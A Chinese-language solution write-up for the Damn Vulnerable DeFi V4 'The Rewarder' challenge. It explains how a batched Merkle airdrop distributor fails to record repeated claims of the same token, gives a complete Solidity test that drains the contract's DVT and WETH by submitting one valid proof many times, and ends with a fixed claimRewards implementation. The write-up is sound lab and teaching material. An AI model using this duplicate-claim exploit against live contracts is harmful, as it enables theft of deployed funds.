Damn-vulnerable-defi-V4-solution(The Rewarder)
一、The Rewarder
背景:奖励分配器将 DVT 和 WETH 奖励分配给 1,000 名接收者。接收者可以通过提交Merkle 树验证的来领取代币。当 Merkle 树确认叶节点证明与根节点对应时,奖励即被授予。分配器还具有_setClaimed跟踪申领是否已提交的功能。然而,分发器存在漏洞,我们的目标是将大部分剩余的代币挽救到recover账户。
问题发生在TheRewarderDistributor合约的claimRewards函数中
// Allow claiming rewards of multiple tokens in a single transaction
function claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) external {
Claim memory inputClaim;
IERC20 token;
uint256 bitsSet; // accumulator
uint256 amount;
for (uint256 i = 0; i < inputClaims.length; i++) {
inputClaim = inputClaims[i];
uint256 wordPosition = inputClaim.batchNumber / 256;
uint256 bitPosition = inputClaim.batchNumber % 256;
if (token != inputTokens[inputClaim.tokenIndex]) {
if (address(token) != address(0)) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
token = inputTokens[inputClaim.tokenIndex];
bitsSet = 1 << bitPosition; // set bit at given position
amount = inputClaim.amount;
} else {
bitsSet = bitsSet | 1 << bitPosition;
amount += inputClaim.amount;
}
// for the last claim
if (i == inputClaims.length - 1) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, inputClaim.amount));
bytes32 root = distributions[token].roots[inputClaim.batchNumber];
if (!MerkleProof.verify(inputClaim.proof, root, leaf)) revert InvalidProof();
inputTokens[inputClaim.tokenIndex].transfer(msg.sender, inputClaim.amount);
}
}该_setClaimed函数应该在每次提交claim后调用,因为这可以防止重复提交相同的claim。然而,在函数ClaimRewards中,_setClaimed只有当 token与循环中的前一个 token不同或者我们处于循环的最后一次迭代时,才会调用。
漏洞的本质:合约在对 claim 做 Merkle 验证之前就先修改链上状态(调用 _setClaimed),而后续的转账/验证又并没有依据 bitmap 再次检查,导致攻击者可以用特定排列的 inputClaims 把 remaining(剩余代币)一次性扣减很多次,然后再通过后续逐条的 MerkleProof.verify 与 transfer 实际领取这些金额
因此,只要RewardDistributor代币数量足够,我们就可以重复提交同一种代币的claim申请。DVT 和 WETH 的认领申请是分别进行的。
攻击步骤:
- 从两个分发文件读出 merkle leaves(dvtLeaves、wethLeaves)。
- 为固定的索引 188(也就是测试里的 player)生成两份 Claim(DVT/WETH),每份都有 batchNumber=0、amount、以及对应的 proof。
- 计算能重复提交多少次这种 Claim 才能耗尽整批分发(dvtClaimsNum / wethClaimsNum)。
- 构建一个很长的 Claim[](内容都是同一个 Claim 重复多次)和对应的 IERC20[](每项都指向对应 token)。
- 调用 distributor.claimRewards(dvtInputClaims, dvtInputTokens)(对 DVT)和同理对 WETH。
- 最后把玩家地址的 DVT/WETH 全部 transfer 到 recovery。
换句话说:测试用同一个有效 proof 多次批量提交去多次领取整批空投,从而把合约里的代币领空。
function test_theRewarder() public checkSolvedByPlayer {
// player address
// 0x44E97aF4418b7a17AABD8090bEA0A471a366305C
// index 188
uint256 dvtAmount = 11524763827831882;
uint256 wethAmount = 1171088749244340;
bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");
// the claim we repeatedly file for each token
Claim memory dvtClaim = Claim({batchNumber:0, amount:dvtAmount, tokenIndex:0, proof:merkle.getProof(dvtLeaves, 188)});
Claim memory wethClaim = Claim({batchNumber:0, amount:wethAmount, tokenIndex:1, proof:merkle.getProof(wethLeaves, 188)});
uint256 dvtClaimsNum = (TOTAL_DVT_DISTRIBUTION_AMOUNT - ALICE_DVT_CLAIM_AMOUNT) / dvtAmount;
uint256 wethClaimsNum = (TOTAL_WETH_DISTRIBUTION_AMOUNT - ALICE_WETH_CLAIM_AMOUNT) / wethAmount;
Claim[] memory dvtInputClaims = new Claim[](dvtClaimsNum);
Claim[] memory wethInputClaims = new Claim[](wethClaimsNum);
IERC20[] memory dvtInputTokens = new IERC20[](dvtClaimsNum);
IERC20[] memory wethInputTokens = new IERC20[](wethClaimsNum);
// file repeated claims for dvt
for (uint256 i = 0; i < dvtClaimsNum; i++) {
dvtInputClaims[i] = dvtClaim;
dvtInputTokens[i] = IERC20(address(dvt));
}
// file repeated claims for weth
for (uint256 i = 0; i < wethClaimsNum; i++) {
wethInputClaims[i] = wethClaim;
wethInputTokens[i] = IERC20(address(weth));
}
distributor.claimRewards(dvtInputClaims, dvtInputTokens);
distributor.claimRewards(wethInputClaims, wethInputTokens);
dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
} 给出一个安全的 claimRewards 伪实现
function claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) external nonReentrant {
for (uint i = 0; i < inputClaims.length; i++) {
Claim memory c = inputClaims[i];
IERC20 token = inputTokens[c.tokenIndex];
// 验证 proof FIRST
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, c.amount));
bytes32 root = distributions[token].roots[c.batchNumber];
if (!MerkleProof.verify(c.proof, root, leaf)) revert InvalidProof();
// 检查是否已领取
uint256 wordPosition = c.batchNumber / 256;
uint256 bitPosition = c.batchNumber % 256;
uint256 mask = (uint256(1) << bitPosition);
uint256 current = distributions[token].claims[msg.sender][wordPosition];
if ((current & mask) != 0) revert AlreadyClaimed();
// 标记并扣减 remaining
distributions[token].claims[msg.sender][wordPosition] = current | mask;
if (distributions[token].remaining < c.amount) revert NotEnoughTokensToDistribute();
distributions[token].remaining -= c.amount;
// 转账
token.transfer(msg.sender, c.amount);
}
}每个 claim 都是独立、原子的:先验证 → 再写状态 → 再转账。
当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »